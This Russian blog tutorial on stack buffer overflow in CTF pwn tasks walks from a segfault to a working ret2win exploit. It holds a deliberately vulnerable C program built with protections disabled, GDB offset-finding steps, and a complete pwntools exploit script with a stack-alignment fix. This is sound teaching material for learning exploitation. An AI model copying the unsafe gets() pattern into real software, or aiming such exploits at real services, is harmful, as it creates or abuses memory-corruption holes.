Главная / Блог / Buffer Overflow CTF: от первого segfault до захвата флага в pwn-задаче

12 мин.00

Buffer Overflow CTF: от первого segfault до захвата флага в pwn-задаче

Buffer Overflow CTF: от первого segfault до захвата флага в pwn-задаче

Buffer Overflow CTF: от первого segfault до захвата флага в pwn-задаче

Первый segfault при решении pwn-задачи выглядит у всех одинаково: регистр RIP забит значением 0x4141414141414141, GDB сообщает Cannot access memory at address, программа мертва. Пять минут назад ты отправил строку из 200 символов 'A' в бинарник с соревнования — и перезаписал адрес возврата на стеке. Поздравляю, ты только что сломал программу самым тупым способом из возможных. И это правильный первый шаг. Переполнение буфера (buffer overflow) — точка входа в binary exploitation и первая техника, с которой начинается путь в категории pwn на CTF. Ниже разберём этот путь целиком: разведка через checksec, поиск смещения в GDB через cyclic-паттерн, готовый ret2win-эксплойт на pwntools и нюанс с выравниванием стека на x86-64, на котором спотыкаются все и о котором почти нигде не пишут по-русски.

Как устроен стек и почему переполнение буфера даёт контроль над программой

При вызове функции в x86-64 инструкция call кладёт на стек восьмибайтовый адрес возврата (return address) — адрес следующей инструкции в вызывающей функции, куда процессор вернётся после ret. Пролог вызванной функции делает push rbp (сохраняет старый base pointer — ещё 8 байт) и sub rsp, N (сдвигает вершину стека вниз, выделяя место под локальные переменные).

Для функции с объявлением char buf[64] расклад на стеке такой: ближе к вершине (низкие адреса) лежат 64 байта буфера. Над ними — 8 байт saved RBP. Ещё выше — 8 байт return address. Массив buf заполняется от низких адресов к высоким. Если функция читает ввод без проверки длины — через gets(), strcpy() или read() с размером больше буфера — данные за пределами 64 байт продолжают писаться вверх по стеку: сначала затирают saved RBP, а следующие 8 байт ложатся прямо на адрес возврата.

Конкретный пример. Функция vuln() начинает выполнение, на стеке расположены: 64 байта buf (нули), 8 байт saved RBP (0x00007fffffffe3c0), 8 байт return address (0x0000000000401183 — адрес в main() после call vuln). Отправляем 80 символов 'A' (0x41). Первые 64 заполняют buf. Следующие 8 перезаписывают saved RBP на 0x4141414141414141. Оставшиеся 8 — перезаписывают return address тем же значением. При выполнении ret процессор берёт 0x4141414141414141 со стека, загружает в RIP, пытается прочитать инструкцию по этому адресу — и падает с segfault. Но если вместо 'A' подставить адрес функции win() — процессор послушно туда перейдёт. Контроль над адресом возврата — это контроль над потоком выполнения. Всё просто, пока не начнёшь делать.

На x86 (32-бит) механика та же, но указатели занимают 4 байта, и вместо RIP/RBP используются EIP/EBP (так называемый EIP overwrite). Многие учебные writeup'ы — включая материалы ctf101.org и UCSD — показывают 32-битные примеры, но задачи CTF-соревнований 2024–2025 годов (picoCTF, HTB, MetaCTF) практически всегда выдают x86-64 бинарники. Если учишься по 32-битным гайдам — будь готов пересчитывать.

Отличие stack buffer overflow от других типов memory corruption

Термин "buffer overflow" объединяет целый класс уязвимостей: heap overflow (переполнение в динамической памяти — куче), integer overflow (целочисленное переполнение, приводящее к некорректному выделению памяти), off-by-one (запись одного лишнего байта, способная сдвинуть base pointer). Stack buffer overflow — самый предсказуемый вариант: буфер на стеке, рядом — адрес возврата, между ними — фиксированное расстояние, вычислимое через отладчик. Поэтому category pwn на CTF начинается со стекового переполнения: механика детерминирована, а результат (перехват RIP) виден в GDB немедленно. Heap exploitation — это уже другой уровень боли, туда потом.

Разведка бинарника и подготовка окружения для эксплуатации переполнения стека

Требования к окружению

Для воспроизведения всех шагов нужен Linux — Ubuntu 20.04+, Kali или любой дистрибутив с установленными: gcc (компиляция примеров), gdb с плагином pwndbg (клонируется с GitHub, ставится через setup.sh, репозиторий 7k+ звёзд, активно поддерживается), Python 3.8+ и библиотека pwntools версии 4.x (pip3 install pwntools). RAM — минимум 2 ГБ, рекомендуется 4 ГБ при параллельной работе с IDE или Ghidra. Весь процесс работает offline — интернет нужен только для установки пакетов.

Первые команды: file и checksec

Получив бинарник pwn-задачи, начинай с двух команд. file ./vuln покажет архитектуру: ELF 64-bit LSB executable — стандартный x86-64 бинарник без PIE; формулировка ELF 64-bit LSB pie executable сигнализирует о включённом PIE (адреса рандомизируются). Далее — checksec --file=./vuln (или checksec ./vuln из контекста pwntools) выведёт состояние защитных механизмов.

Для учебного бинарника без защит вывод содержит: Arch: amd64-64-little, Stack: No canary found, NX: NX disabled, PIE: No PIE. Каждая строка определяет доступный вектор атаки:

No canary found — отсутствует stack canary (случайное значение между буфером и saved RBP, проверяемое перед ret). Если canary есть — при перезаписи программа вызывает __stack_chk_fail, печатает *** stack smashing detected *** и аварийно завершается. Обход canary требует утечки его значения — например, через format string уязвимость, как в writeup'е MetaCTF "My Little Pwny" (формат %19$p).

NX disabled — стек помечен как исполняемый. Можно разместить шеллкод прямо в буфере и передать туда управление (shellcode injection). При включённом NX (No eXecute) потребуется Return Oriented Programming — цепочка гаджетов из существующего кода.

No PIE — базовый адрес бинарника фиксирован при каждом запуске. Адрес win() одинаков. При включённом PIE адрес придётся сначала утечь через информационную утечку.

Для первого знакомства с buffer overflow exploit выбирай задачи, где все три защиты отключены — они обычно маркированы "baby", "intro" или "warmup". Всё, что сложнее — потом.

[Применимо: учебная среда, CTF-соревнования начального уровня. В реальных условиях пентеста — как внешнего, так и внутреннего — все перечисленные защиты включены по умолчанию в GCC 12+ и ядрах Linux 5.x+. Ret2win в чистом виде неприменим к production-бинарникам.]

Компиляция учебного бинарника

Для тренировки без подключения к CTF-серверу компилируем собственный уязвимый бинарник. Классическая задача ret2win: функция win() выводит флаг, но в обычном потоке выполнения не вызывается — нужно перенаправить в неё управление через переполнение.

#include <stdio.h>
#include <stdlib.h>
void win() { system("cat flag.txt"); }
void vuln() {
    char buf[64];
    gets(buf);
}
int main() { vuln(); return 0; }

Компиляция: gcc -o vuln vuln.c -fno-stack-protector -no-pie -z execstack -O0 -g. Флаг -fno-stack-protector убирает canary, -no-pie фиксирует адреса, -z execstack помечает стек исполняемым, -g добавляет отладочные символы для GDB. При компиляции GCC ругнётся на gets — функция удалена из стандарта C11 как небезопасная, но для учебных целей бинарник соберётся. Перед запуском создай файл flag.txt с произвольным содержимым в той же директории.

Перезапись адреса возврата: находим смещение до ret address через GDB

Метод cyclic-паттерна

Переполнение буфера работает при точном знании расстояния (offset) от начала ввода до адреса возврата. Теоретически: 64 байта buf + 8 байт saved RBP = 72 байта, затем 8 байт целевого адреса. Но компилятор может добавить padding для выравнивания, и реальное смещение будет другим. Доверяй отладчику, не калькулятору. Я на этом обжигался не раз.

Запускаем gdb ./vuln. С установленным pwndbg интерфейс сразу покажет регистры, стек и дизассемблированный код. Генерируем уникальный паттерн командой cyclic 200 (в pwndbg) — строку из 200 символов, где каждая 8-байтовая подстрока встречается ровно один раз. Запускаем программу: run, вставляем сгенерированный паттерн. Программа падает с segfault.

Pwndbg анализирует crash и выводит значение, которое перезаписало адрес возврата. Обычно это выглядит как Invalid address 0x6161616c6161616b или отображается в регистрах. Берём это значение и вычисляем offset: cyclic -l 0x6161616c6161616b — команда вернёт число 72. Это количество байт мусора (padding), которое нужно отправить перед адресом целевой функции.

Альтернативный путь — в Python-консоли: from pwn import *; print(cyclic_find(0x6161616c6161616b)). Результат тот же.

Ручная проверка через дизассемблирование

Для полного понимания полезно проверить offset через дизассемблирование. disas vuln в GDB для отладки эксплойта:

pwndbg> disas vuln
   0x401156 <vuln>:     push   rbp
   0x401157 <vuln+1>:   mov    rbp, rsp
   0x40115a <vuln+4>:   sub    rsp, 0x40
   0x40115e <vuln+8>:   lea    rax, [rbp-0x40]
   0x401162 <vuln+12>:  mov    rdi, rax
   0x401165 <vuln+15>:  call   gets
   0x40116a <vuln+20>:  nop
   0x40116b <vuln+21>:  leave
   0x40116c <vuln+22>:  ret

Инструкция sub rsp, 0x40 выделяет 0x40 (64 десятичных) байт под буфер. lea rax, [rbp-0x40] подтверждает: буфер начинается на 0x40 байт ниже RBP. От начала буфера до saved RBP — ровно 0x40 байт, плюс 8 байт самого saved RBP — итого 72 байта (0x48) до return address. Совпадает с cyclic. Хорошо.

Для верификации ставим breakpoint на ret: break *0x40116c, запускаем с паттерном, на breakpoint'е проверяем x/gx $rsp — увидим значение, которое RIP вот-вот загрузит. Вычисляем его offset в паттерне и получаем финальное подтверждение. Три способа — один ответ. Теперь можно быть уверенным.

Little-endian и порядок байтов в адресах

Архитектура x86-64 использует порядок байтов little-endian: младший байт хранится по младшему адресу. Адрес 0x00401142 в памяти выглядит как последовательность \x42\x11\x40\x00\x00\x00\x00\x00 — задом наперёд. Функция p64() из pwntools автоматически выполняет конвертацию в 8-байтовую little-endian строку. На x86 (32-бит) аналог — p32().

Без pwntools кодирование приходится делать вручную: python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\x42\x11\x40\x00\x00\x00\x00\x00')". Работает, но читать такое — мучение. Pwntools делает процесс читаемым и масштабируемым.

Пишем ret2win-эксплойт на pwntools: от payload до флага

Сборка эксплойта

Offset известен (72 байта), адрес win() получаем через objdump -t ./vuln | grep win или через elf.symbols['win'] в pwntools. Собираем эксплойт:

from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 72
payload = b'A' * offset
payload += p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()

Сохраняем как exploit.py, запускаем python3 exploit.py. Объект ELF('./vuln') парсит бинарник и даёт словарь symbols с адресами функций. Метод p64() упаковывает адрес в little-endian. sendline() отправляет payload с символом новой строки, а interactive() передаёт управление терминалу — если win() вызывает system("/bin/sh"), получишь шелл; если system("cat flag.txt") — содержимое флага.

Отправка payload на удалённый сервер CTF

На соревновании бинарник запущен на удалённом сервере. Заменяем process('./vuln') на remote('ctf.example.com', 31337) — всё остальное без изменений. В реальном writeup'е HTB Cyber Apocalypse CTF подключение выглядит как r = remote(IP, PORT), за которым следуют r.sendline(payload) и r.interactive(). Если сервер нестабилен (а на крупных CTF это норма, особенно в первые часы), оборачиваем отправку в try/except внутри цикла while True — как в решении задачи "Space Pirate: Going Deeper".

Ловушка выравнивания стека на x86-64

Вот тут начинается самое интересное. Распространённая проблема: эксплойт работает в GDB, но при чистом запуске (python3 exploit.py) программа падает с segfault внутри win(). Ты всё сделал правильно, offset верный, адрес верный — а оно не работает. Причина — нарушение 16-байтового выравнивания стека. System V ABI для x86-64 требует, чтобы RSP был кратен 16 перед инструкцией call. Инструкция movaps (часто встречается внутри glibc-функций) проверяет это выравнивание и вызывает crash при нарушении.

Два способа исправить. Первый — перейти на win()+1, пропустив push rbp в прологе, которая сдвигает стек на 8 байт. Второй (надёжнее) — вставить перед адресом win() гаджет ret — одиночную инструкцию ret, которая снимает 8 байт со стека и выравнивает его. Адрес гаджета находится через ROPgadget --binary ./vuln | grep ": ret" или ROP(elf).find_gadget(['ret'])[0] в pwntools. Итоговый payload с выравниванием: b'A' * offset + p64(ret_gadget) + p64(elf.symbols['win']).

Этот нюанс не упоминается почти ни в одном русскоязычном разборе stack buffer overflow, хотя на x86-64 он встречается регулярно. На форумах десятки тредов, где человек бился часами — а нужен был один гаджет ret. Знай об этом заранее — сэкономишь вечер.

Ограничения ret2win в pwn-задачах CTF и современные защиты

Ret2win — учебная техника. Она работает при одновременном отключении нескольких защит. В задачах среднего и высокого уровня (и тем более в реальных пентестах) каждый механизм создаёт дополнительный барьер:

Stack Canary — 8-байтовое случайное значение с нулевым младшим байтом (усложняет утечку через строковые функции). При перезаписи функция __stack_chk_fail завершает процесс. Обход: утечка canary через format string, побочный канал, или brute-force в форк-серверах (где canary не меняется между форками).

NX (No eXecute) — стек неисполняемый. Shellcode injection на стеке невозможен. Обход: Return Oriented Programming (ROP) — цепочка гаджетов (фрагментов существующего кода, заканчивающихся ret), позволяющая вызвать execve("/bin/sh", 0, 0) или system("/bin/sh"). Тут начинается настоящий pwn.

PIE (Position Independent Executable) — базовый адрес бинарника рандомизируется при каждом запуске. Адрес win() неизвестен до утечки. Обход: информационная утечка из .text секции через format string или partial overwrite (перезапись только младших байт адреса).

ASLR — рандомизация стека, кучи и библиотек на уровне ОС. Обход: brute-force (реалистично на 32-бит: 12 бит энтропии = 4096 попыток), утечка адресов, или использование адресов самого бинарника (при отключённом PIE).

После освоения ret2win следующие шаги в прогрессии: ret2libc (вызов system() из libc через ROP), ret2csu (гаджеты из __libc_csu_init), format string exploitation и heap-based техники.

Защита Что блокирует Обход Уровень задач
No canary Ничего Не нужен Baby/Intro
Canary Прямую перезапись ret addr Утечка через fmt str Средний
NX Shellcode на стеке ROP-цепочки Средний
PIE + ASLR Фиксированные адреса Info leak + ROP Продвинутый
Full RELRO + все GOT-перезапись Heap exploitation Сложный

Место buffer overflow exploit в цепочке атаки

В контексте MITRE ATT&CK переполнение буфера покрывает несколько тактик. Для CTF-задач с сетевым сервисом (бинарник принимает подключения) — это Exploit Public-Facing Application (T1190, Initial Access). Для локальных бинарников с SUID-битом — Exploitation for Privilege Escalation (T1068, Privilege Escalation). Получив шелл через buffer overflow, атакующий может перейти к Process Injection (T1055) для закрепления или использовать Unix Shell (T1059.004) для выполнения команд.

В реальной цепочке атаки переполнение буфера — первое звено: initial access или privesc, за которым следуют persistence, lateral movement и exfiltration. В CTF путь короче: переполнение → system("cat flag.txt") → флаг. Но понимание полной цепочки — это то, что отличает решателя задачек от человека, который может применить навык на реальном проекте.

Девять из десяти первых попыток написать buffer overflow эксплойт заканчиваются молча — segfault, пустой терминал, ноль обратной связи. Проблема не в теории, а в отладочной дисциплине: вместо методичной проверки через cyclic и breakpoint на ret люди пытаются угадать offset. На форумах десятки обсуждений, где человек бился часами с «правильным» payload'ом, а ошибка была в одном байте — компилятор добавил выравнивание, а offset считали арифметически, не через GDB.

Pwn-категория отпугивает не сложностью концепций — стек, адрес возврата, little-endian укладываются в голову за вечер. Отпугивает молчаливый segfault без объяснения, что именно пошло не так. Если вынести из этой статьи одну мысль — пусть это будет привычка ставить breakpoint на ret и проверять x/gx $rsp перед каждой отправкой payload. Этот навык переживёт любую конкретную технику. Попробуйте скомпилировать бинарник из раздела 3, найти offset и написать эксплойт — без подглядывания в готовый код. Если movaps уронит ваш первый payload — вы на правильном пути.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...